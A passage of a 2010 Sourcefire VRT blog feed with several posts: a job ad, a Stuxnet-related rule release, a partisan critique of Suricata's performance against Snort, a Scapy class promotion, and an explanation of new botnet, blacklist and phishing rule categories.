following 10 things from the previous post still apply. If they appeal to you and describe the qualities you want in your co-workers and your workplace, then the VRT is interested in talking with you. Please submit your resume on Sourcefire's website or send us a message at research@sourcefire.com&lt;br /&gt;&lt;br /&gt;&lt;a href="https://jobs.sourcefire.com/epostings/submit.cfm?fuseaction=app.jobinfo&amp;id=23&amp;jobid=303949&amp;company_id=15640&amp;version=1&amp;source=ONLINE&amp;JobOwner=1012573&amp;level=levelid1&amp;levelid1=14174&amp;parent=VRT%20%28Vulnerability%20Research%20Team%29&amp;startflag=2"&gt;Submit Resume here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Passion (for the work)&lt;/b&gt; - Very few people are trained academically for vulnerability analysis, malware analysis, network engineering, or hacking. It is something that is learned by experience and experimentation. If you have dedicated your free time and lost countless days and nights perfecting some portion of it then you have the passion I'm talking about.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Good people&lt;/b&gt; - If you enjoy an environment where everyone around you is better than you at something and is willing to teach you their skill in exchange for your own, then the VRT might be the right place for you.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Goals&lt;/b&gt; - Clear definitions of strategic goals to the best of my ability and my managers' abilities. If we can't clearly explain the "why" then we won't ask you to waste your time on it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Belief&lt;/b&gt; - A group of people that share an intrinsic belief that it is possible to accomplish difficult, if not "currently" impossible, goals. More importantly, this belief is present not because of arrogance, but because of our experience proving that we actually can accomplish these goals.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Drive&lt;/b&gt; - A personal drive that exceeds the average. If you've worked on a problem for many months, still haven't solved it, but truly believe you will shortly, you are either hard headed or have a lot of drive. Whether you're pushing yourself by hitting your head on a wall, or just plain never giving up, you will most likely create a positive outcome.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Latitude&lt;/b&gt; - If you hate rules but understand personal responsibility, this might be the environment for you. You'll get just enough rope to hang yourself, as long as you take responsibility for your own demise.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Trust&lt;/b&gt; - An environment were you can trust the people you work with to actually do what they say, do it to the best of their ability, and trust you to do the same.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Responsibility&lt;/b&gt; - For your actions and your words. If you broke it, you fix it. If you said you would do it, do it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Risk&lt;/b&gt; - An environment where you are allowed to take risks in the pursuit of goals. Risk is the potential to fail and without failure there is no opportunity to learn. You will be able to take risks as long as you sign up for the responsibility of failing.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Leadership&lt;/b&gt; - You expect the people above you to actually lead, and trust them enough to actually follow them.&lt;br /&gt;&lt;br /&gt;If these ten things fit your personality, and describe the place you want to work, please see the job description below. When submitting your resume please include either a comment or something in your actual resume that references the fact that you read this post.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Title: &lt;i&gt;Research Systems Engineer&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Basic Purpose&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This role is primarily responsible for developing database applications, supporting the Vulnerability Database that is part of Sourcefire RNA, research to support current detection systems, research into new detection systems and methods, research into data mining and internal tool development.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Essential Duties and Responsibilities&lt;/b&gt;&lt;br /&gt;&lt;ul&gt; &lt;li&gt;Administration of various backend systems.&lt;br /&gt; &lt;li&gt;Support Vulnerability database building and administration&lt;br /&gt; &lt;li&gt;Conduct research into new detection mechanisms&lt;br /&gt; &lt;li&gt;Conduct research into existing detection mechanisms and improve them&lt;br /&gt; &lt;li&gt;Script like a maniac&lt;br /&gt; &lt;li&gt;Develop cool tools&lt;br /&gt;&lt;/ul&gt;&lt;b&gt;Essential Education, Skill, and Environment Education and Work Experience&lt;/b&gt;&lt;ul&gt; &lt;li&gt;Experience is probably your biggest asset&lt;br /&gt; &lt;li&gt;Bachelors degree (or higher) will at least show us you can achieve a long term goal&lt;br /&gt; &lt;li&gt;Ability to apply Ohms law under duress is an advantage&lt;br /&gt; &lt;li&gt;Must believe that Leibniz stole Newton's ideas for Calculus&lt;br /&gt; &lt;li&gt;The desire to gain knowledge is key&lt;br /&gt; &lt;li&gt;Experience designing user interfaces for web, scripts, cli etc. is a plus&lt;br /&gt;&lt;/ul&gt;&lt;b&gt;Required Knowledge and Skills&lt;/b&gt;&lt;ul&gt; &lt;li&gt;Experience with SQL databases, MySQL, PostGRES etc.&lt;br /&gt; &lt;li&gt;Experience designing SQL databse schemas&lt;br /&gt; &lt;li&gt;Experience configuring Windows and Linux/UNIX applications&lt;br /&gt; &lt;li&gt;Strong analytical and troubleshooting skills&lt;br /&gt; &lt;li&gt;Experience with TCP/IP, IPv6 and IPv4 networking in general&lt;br /&gt; &lt;li&gt;Be able to script in PERL, Python, and/or Ruby&lt;br /&gt; &lt;li&gt;Ability to learn new skills and apply them in a rapidly changing, high-pressure environment&lt;br /&gt; &lt;li&gt;Can solve complex technical problems in a non-Rube Goldberg fashion&lt;br /&gt; &lt;li&gt;Desire to perform research activities, stretch some boundaries, kick down doors, take names and conquer&lt;br /&gt;&lt;/ul&gt;&lt;b&gt;Preferred Knowledge and Skills&lt;/b&gt;&lt;ul&gt; &lt;li&gt;Highly motivated and creative&lt;br /&gt; &lt;li&gt;Experience with Snort &amp; other network security tools&lt;br /&gt; &lt;li&gt;Experience with network configuration and deployment&lt;br /&gt; &lt;li&gt;Experience with PCRE or equivalent regular expression library&lt;br /&gt;&lt;/ul&gt;&lt;b&gt;Work Conditions&lt;/b&gt;&lt;ul&gt; &lt;li&gt;Moderate to high levels of stress will occur at times&lt;br /&gt; &lt;li&gt;Fast paced and rapidly changing environment&lt;br /&gt; &lt;li&gt;Extremely talented and experienced team members and mentors&lt;br /&gt; &lt;li&gt;No special physical requirements&lt;br /&gt; &lt;li&gt;Constant internal training, drinking games, and heated discussions&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5044308006956474414?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5044308006956474414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5044308006956474414' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5044308006956474414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5044308006956474414'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/sourcefire-vrt-di-is-hiring.html' title='Sourcefire VRT DI is Hiring'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-1956187147963477724</id><published>2010-07-22T15:19:00.002-04:00</published><updated>2010-07-22T15:20:57.786-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><category scheme='http://www.blogger.com/atom/ns#' term='SCADA'/><title type='text'>Rule Release for Today, Thursday July 22nd, 2010</title><content type='html'>&lt;p&gt;Two main vulnerabilities covered in this release. Microsoft Windows Shell shortcut vulnerability (CVE-2010-2568) and the Siemens Simatic WinCC and PCS 7 SCADA vuln (CVE-2010-2772). Both of these are being actively used by the Stuxnet worm.&lt;/p&gt;&lt;p&gt;More details are available here: &lt;a href="http://www.snort.org/vrt/advisories/2010/07/22/vrt-rules-2010-07-22.html"&gt;http://www.snort.org/vrt/advisories/2010/07/22/vrt-rules-2010-07-22.html&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-1956187147963477724?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/1956187147963477724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=1956187147963477724' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1956187147963477724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1956187147963477724'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/rule-release-for-today-thursday-july_22.html' title='Rule Release for Today, Thursday July 22nd, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-85669570547787179</id><published>2010-07-20T21:15:00.005-04:00</published><updated>2010-07-21T09:10:58.904-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='Razorback'/><category scheme='http://www.blogger.com/atom/ns#' term='Innovation'/><title type='text'>Innovation -- You Keep Using That Word...</title><content type='html'>So, this week, the OISF has been on a media blitz about Suricata, their open-source Intrusion Detection System. &amp;nbsp;As always, my preference is for you to review the information yourself, so before I give you my thoughts about the state of Suricata, here are some links:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.computerworld.com/s/article/9179436/DHS_vendors_unveil_open_source_intrusion_detection_engine?taxonomyId=82"&gt;http://www.computerworld.com/s/article/9179436/DHS_vendors_unveil_open_source_intrusion_detection_engine?taxonomyId=82&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.darkreading.com/smb-security/security/intrusion-prevention/showArticle.jhtml?articleID=225900192&amp;amp;cid=nl_DR_DAILY_2010-07-20_h"&gt;http://www.darkreading.com/smb-security/security/intrusion-prevention/showArticle.jhtml?articleID=225900192&amp;amp;cid=nl_DR_DAILY_2010-07-20_h&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.openinfosecfoundation.org/"&gt;http://www.openinfosecfoundation.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;When I talked to Matt Jonkman about Suricata this past December, I was excited. &amp;nbsp;He talks a good game and his pitch of Suricata as a "Next Generation Intrusion Detection and Prevention Engine" was catching. &amp;nbsp;It is&amp;nbsp;always&amp;nbsp;good to step outside the box and take a good hard look at how any industry is approaching things and innovation is always welcome. &amp;nbsp;The fact that Suricata is Open Source and driven by government money meant that the innovation would be available and easily ported to Snort, helping not just Suricata users, but Snort users as well. &amp;nbsp;To me, it looked win-win all the way.&lt;br /&gt;&lt;br /&gt;I was so impressed by the tack that Suricata appeared to be taking that I gave my best wishes to them on their first release, back in December:&lt;br /&gt;"Congrats to Matt Jonkman and the team at OISF. &amp;nbsp;It's a big step, and I look forward to seeing your work (after then new year :))&lt;br /&gt;&lt;br /&gt;Matt". -- [Snort-users] Suricata IDS Available for Download!, 12/31/09&lt;br /&gt;&lt;a href="http://marc.info/?l=snort-users&amp;amp;m=126229251430261&amp;amp;w=2"&gt;http://marc.info/?l=snort-users&amp;amp;m=126229251430261&amp;amp;w=2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But at this point, having worked with Suricata and looked at what the OISF has actually delivered, I'm just disappointed with where they've ended up and what they've delivered.&lt;br /&gt;&lt;br /&gt;Suricata's developers harp on a lot of different issues, some of which are valid, and some are simply wrong. &amp;nbsp;More than anything else, they beat the multi-threaded drum:&lt;br /&gt;&lt;br /&gt;".For example, Suricata's multi-threaded architecture can support high performance multi-core and multiprocesser systems, Jonkman said." -- (Computerworld, above)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;"This is 2010 and not a single IDS supports multi-threading"&lt;br /&gt;"The flaw in every IDS is that it is single threaded"&lt;br /&gt;"Multi threading alone is worth moving over to Suricata for".&lt;br /&gt;-- (Suricata team, various)&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We've talked about this before, with an extensive, technical discussion on multi-threading and IDS from Marty (&lt;a href="http://vrt-sourcefire.blogspot.com/2010/06/single-threaded-data-processing.html"&gt;http://vrt-sourcefire.blogspot.com/2010/06/single-threaded-data-processing.html&lt;/a&gt;). &amp;nbsp;Go there and check out what Marty has to say. &amp;nbsp;The essence of his post is that there are sound architecture reasons why traditional multi-threading is not the appropriate approach for IDS implementations. &amp;nbsp;Certainly, as commodity hardware evolves (we do work very closely with Intel), we'll continue to evaluate the technology. &amp;nbsp;In addition to the long technical brief, I'd point out this simple fact of life: &amp;nbsp;IDS vendors are judged on both detection accuracy and speed. &amp;nbsp;No report about an IDS engine comes out that doesn't identify how many GB/s throughput the engine was capable of sustaining. &amp;nbsp;Trust me, if multi-threading were the answer, the industry would have moved there in short order.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Of course, there is no third-party review of Suricata's performance. &amp;nbsp;I'm going to give you some numbers, but I don't expect you to put any special weight on them, they are more to show that we have looked at the engine and haven't found anything that we would take from it. &amp;nbsp;I asked Chris McBee, one of the researchers here on the VRT to install Snort and Suricata on the same box. &amp;nbsp;I told him to make it run, take all the steps necessary to maximize performance. &amp;nbsp;He even changed out the network card to support the pf_ring buffer. &amp;nbsp;We did not, however install a CUDA-capable &lt;s&gt;network&lt;/s&gt;&amp;nbsp;video card (edited after publish, my bad -- molney), since, in the words of one Suricata developer (it should be noted that the 1.0.0 release notes indicated an increase in performance):&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;"Currently on my desktop CUDA actually slows things down"&lt;/div&gt;&lt;div&gt;--http://www.inliniac.net/blog/2010/02/20/suricata-has-experimental-cuda-support.html&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So the key to the test is that they were on the same, commodity hardware. &amp;nbsp;We ran Snort first, then Suricata on the same box. &amp;nbsp;In each test, Snort and Suricata were loaded with the latest default open source ruleset from the VRT. &amp;nbsp;In the case of Suricata, some rules that used unsupported options failed to load, and there is no .SO rule support, so none of those rules ran either. &amp;nbsp;This means that Snort was running a larger ruleset than Suricata.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Test Set 1: &amp;nbsp;The same packet set sent at between 200 and 5200 MB/s (30 runs total)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Total Packets sent: &amp;nbsp;30,000,000 (Across all 30 tests)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Total Packets dropped, Snort: &amp;nbsp;61264 &amp;nbsp;(0.0204%)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Total Packets dropped, Suricata: &amp;nbsp;17,438,542 (58%)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Test Set 2: The same packet set sent at between 200 and 5200 MB/s (30 runs total) (Hyperthreading Disabled)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Total Packets sent: &amp;nbsp;30,000,000 (Across all 30 tests)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Total Packets dropped, Snort: 511 (0.0017%)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Total Packets dropped, Suricata: 15,714,211 (52%)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now, we did rerun the tests when Suricata 1.0 was released, briefly:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;"Suricata peaked at about 300 Mb/s without dropping packets, provided no rules are loaded.&lt;/div&gt;&lt;div&gt;With rules loaded, Suricata runs up to about 200Mb/s.&lt;/div&gt;&lt;div&gt;Snort, with rules, hits 894Mb/s with no drops" -- Internal VRT Report on Suricata Performance&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Suricata's performance isn't just bad; it's hideously, unforgivably bad. &amp;nbsp;This is especially true for a project that is hawking the performance issue. &amp;nbsp;There are other issues I have with Suricata, but I think the one that is most concerning is the following statement:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;"We made a conscious decision last year that we're not going to go with an obfuscated rule set, we're not going to pick up an SO rule format" -- Matt Jonkman&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This decision is going to limit any detection capability to the rule language provided by Suricata. &amp;nbsp;In today's incredibly complex environment, this is an unacceptable limitation. &amp;nbsp;Sourcefire developed the C capability to give the VRT and high-end response organizations the ability to build detection with all of the power of C available to them and not lock them into our the Snort rules language. &amp;nbsp;The loss of this capability dramatically reduces the usefulness of Suricata. &amp;nbsp;As an administrative issue, for organizations working in a TS/SCI environment, rules often need to be provided in an obfuscated format to protect against unnecessary disclosure of data. &amp;nbsp;This isn't available without .so rules.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;All of this came up in a discussion of how to engage vendors to get data to write rules. &amp;nbsp;It should be noted that Sourcefire is a partner with several large vendors, including the most targeted: &amp;nbsp;Microsoft. &amp;nbsp;In agreement with these vendors, we protect our rule set for vulnerabilities that are not being exploited in the wild to help protect against exploit development. &amp;nbsp;We do this by obfuscating the rules associated with data we receive from them into .so rules. &amp;nbsp;There is no impact to performance by doing this, but it does pose a hurdle to potential attackers looking to glean information about potential vulnerabilities from how we go about detecting them.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Matt Jonkman specifically said: "We're hoping to get enough market share to say to vendors if they want to use our product if they want to feel safe, we're going to have to be transparent enough that rules can be written". &amp;nbsp;This is simply not going to happen, and trying to adjust reality to justify your philosophical approach will simply result in a product that is not usable.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Look, I generally work very hard to avoid looking like a corporate shill, I try to keep to purely technical information. &amp;nbsp;But in this case, I have to call a spade a spade, even if it leaves you thinking I'm just a mouth piece. &amp;nbsp;But know that I honestly believe this:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The OISF has spent nearly a million dollars to fulfill their obligation to the DHS to deliver the next generation in IDS engines. &amp;nbsp;They have since engaged in all manner of wishful thinking, self-aggrandizement&amp;nbsp;and Snort bashing. &amp;nbsp;They've failed, utterly, to deliver on their promises. &amp;nbsp;This is forgivable on the performance front, that problem is non-trivial. &amp;nbsp;But in the end, what they've built is a poorly functioning Snort-clone, missing the most powerful detection capability that Snort has. &amp;nbsp;There isn't anything in the way of innovation; they are taking the same approach as everyone else from a detection standpoint. &amp;nbsp;Simply put, rehashing isn't innovation.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you want to see what innovation looks like, come to Vegas and let the VRT show you the Razorback system. &amp;nbsp;It isn't Snort, it isn't ClamAV, and it isn't Suricata. &amp;nbsp;It's a new approach to the detection problem, and was built from the ground up in close collaboration with groups that are facing APT-level threats. &amp;nbsp;It may not be perfect, it may not even be the right answer (but we think it is), but it is truly innovative. &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And we didn't even cost you a million dollars.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-85669570547787179?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/85669570547787179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=85669570547787179' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/85669570547787179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/85669570547787179'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/innovation-you-keep-using-that-word.html' title='Innovation -- You Keep Using That Word...'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8071969906125506886</id><published>2010-07-19T13:22:00.000-04:00</published><updated>2010-07-19T13:22:52.347-04:00</updated><title type='text'>The Power of Scapy</title><content type='html'>There is a special place in my heart for someone who accidentally causes all the Macs in the office to repeatably crash at the Grey Screen of Death.  If you too like fun "accidents" or need to craft up some packets check out Judy Novak's SANS class on Scapy. This is an in-depth start to finish class on the Scapy API, and will take you from just knowing about Scapy to building complex packet crafting scripts for all your testing, verification, and hacking needs.  &lt;br /&gt;&lt;br /&gt;If you ever needed to:&lt;br /&gt;1. Test your Snort rules with real traffic&lt;br /&gt;2. Verify your packet munging devices actually support your special protocol needs&lt;br /&gt;3. Need to build a PoC for that new NAT vulnerability&lt;br /&gt;4. Pen-test the robustness of that new communication channel&lt;br /&gt;&lt;br /&gt;Then this class is for you.  Next class is in Las Vegas on September 19th.&lt;br /&gt;&lt;br /&gt;Check it out here: &lt;a href="http://www.sans.org/security-training/power-packet-crafting-scapy-1382-mid"&gt;http://www.sans.org/security-training/power-packet-crafting-scapy-1382-mid&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8071969906125506886?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.sans.org/security-training/power-packet-crafting-scapy-1382-mid' title='The Power of Scapy'/><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8071969906125506886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8071969906125506886' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8071969906125506886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8071969906125506886'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/power-of-scapy.html' title='The Power of Scapy'/><author><name>Matthew Watchinski</name><uri>http://www.blogger.com/profile/00749294989862848285</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5439098059406845576</id><published>2010-07-15T17:11:00.000-04:00</published><updated>2010-07-15T17:11:40.781-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vulnerability Report'/><title type='text'>Vulnerability Report - July 2010</title><content type='html'>&lt;object width="640" height="480"&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=13373415&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" /&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=13373415&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="640" height="480"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;p&gt;&lt;a href="http://vimeo.com/13373415"&gt;Sourcefire VRT Vulnerability Report July 2010&lt;/a&gt; from &lt;a href="http://vimeo.com/vrt"&gt;Sourcefire VRT&lt;/a&gt; on &lt;a href="http://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5439098059406845576?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5439098059406845576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5439098059406845576' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5439098059406845576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5439098059406845576'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/07/vulnerability-report-july-2010.html' title='Vulnerability Report - July 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-3920163861948457385</id><published>2010-07-14T12:38:00.001-04:00</published><updated>2010-07-14T12:41:14.156-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>New Rule Categories</title><content type='html'>Three new rule categories were introduced yesterday (&lt;a href="http://vrt-sourcefire.blogspot.com/2010/07/rule-release-for-today-tuesday-july.html"&gt;Tuesday, 13th July 2010&lt;/a&gt;) in SEU 348 and into the VRT Certified Rule packages. I'd like to take a moment to explain what's in these categories, where the data behind them is coming from, and what you should do if you turn them on and they start firing.&lt;br /&gt;&lt;br /&gt;The initial set of rules for these categories was pulled from the specific-threats and spyware-put categories, as these categories already contained numerous botnet command and control, and dns based detection rules.  We felt that by breaking these categories out it was easier to find the rules end users were looking for, and that doing this gives people a simpler way to enable a whole type of detection in a single unified category.  These categories are augmented by our automated malware analysis systems, spam traps, honeynets, and additional external data feeds.  We'll be putting out some additional information about how these systems works and what type of data they capture; we'll also be publishing some raw data lists.  Anyone will be able to get the raw lists, which contain IP addresses, URLs, and DNS names that were collected from these systems so you can use this data in other security or security releated tools, like SMTP RBLS, or DNS Blackhole systems.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;botnet-cnc.rules&lt;/b&gt;: A large portion of the world's malware connects the infected machine into a botnet, to serve at the whim of whomever unleashed the initial infection; this software uses command and control channels to communicate with master servers and take instructions on what to do next. These rules are aimed at detecting communication over those channels, by looking for portions of URLs that remain constant across domains used by control servers, chunks of the communications channels themselves, or other criteria that have been observed repeatedly across a broad range of related pieces of malware.  A number of rules in this category were previously listed in the Specific-Threats category and in the Spyware-Put category, since these rules focused specifically on command and control traffic they have been moved here.&lt;/li&gt;&lt;li&gt;&lt;b&gt;blacklist.rules&lt;/b&gt;: These rules look for DNS queries for known-malicious domains and common URL patterns observed inside of our malware sandbox, not necessarily associated with a command and control channel. These could be domains serving up exploits, URLs used in click-fraud schemes, update servers for malware, or any number of other things that were consistent across a large number of malware&lt;br /&gt;samples.&lt;/li&gt;&lt;li&gt;&lt;b&gt;phishing-spam.rules&lt;/b&gt;: Phishing attacks and spam are the bane of the modern inbox. These rules seek to supplement your existing spam filtering system (you do have a good spam filter, right?) by looking for domains being advertised in malicious emails.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;So, what happens if you turn these rules on and you start getting alerts? For the phishing/spam rules, you may wish to consider enabling them in blocking mode, to help prevent these malicious emails from coming into your network in the first place. For the blacklist and botnet/C&amp;C rules, you've got a larger problem on your hands, since you're looking at outbound communications from an existing infection.&lt;br /&gt;&lt;br /&gt;We've done our best to help you identify the particular piece of malware generating the traffic being detected by these rules. For most of the malicious domains in our blacklist rules, we've cross-referenced with other malware analysts and given you the name of at least one virus known to be associated with the domain in question.&lt;br /&gt;&lt;br /&gt;Additionally, the references included in rules based on our malware sandbox data give you a list of md5sums of binaries that generated the traffic used to create the rule - which can help you cross-reference anything suspicious you may find on the system in question with tools like &lt;a href=http://virustotal.com/&gt;Virus Total&lt;/a&gt; and &lt;a href=http://www.threatexpert.com/&gt;ThreatExpert&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Since these rule categories will be under active development, we welcome your suggestions on ways to improve them, and your feedback on how you've integrated them into your security process in the wild. Feel free to comment below, or reach us on IRC or email at research at sourcefire dot com.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-3920163861948457385?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 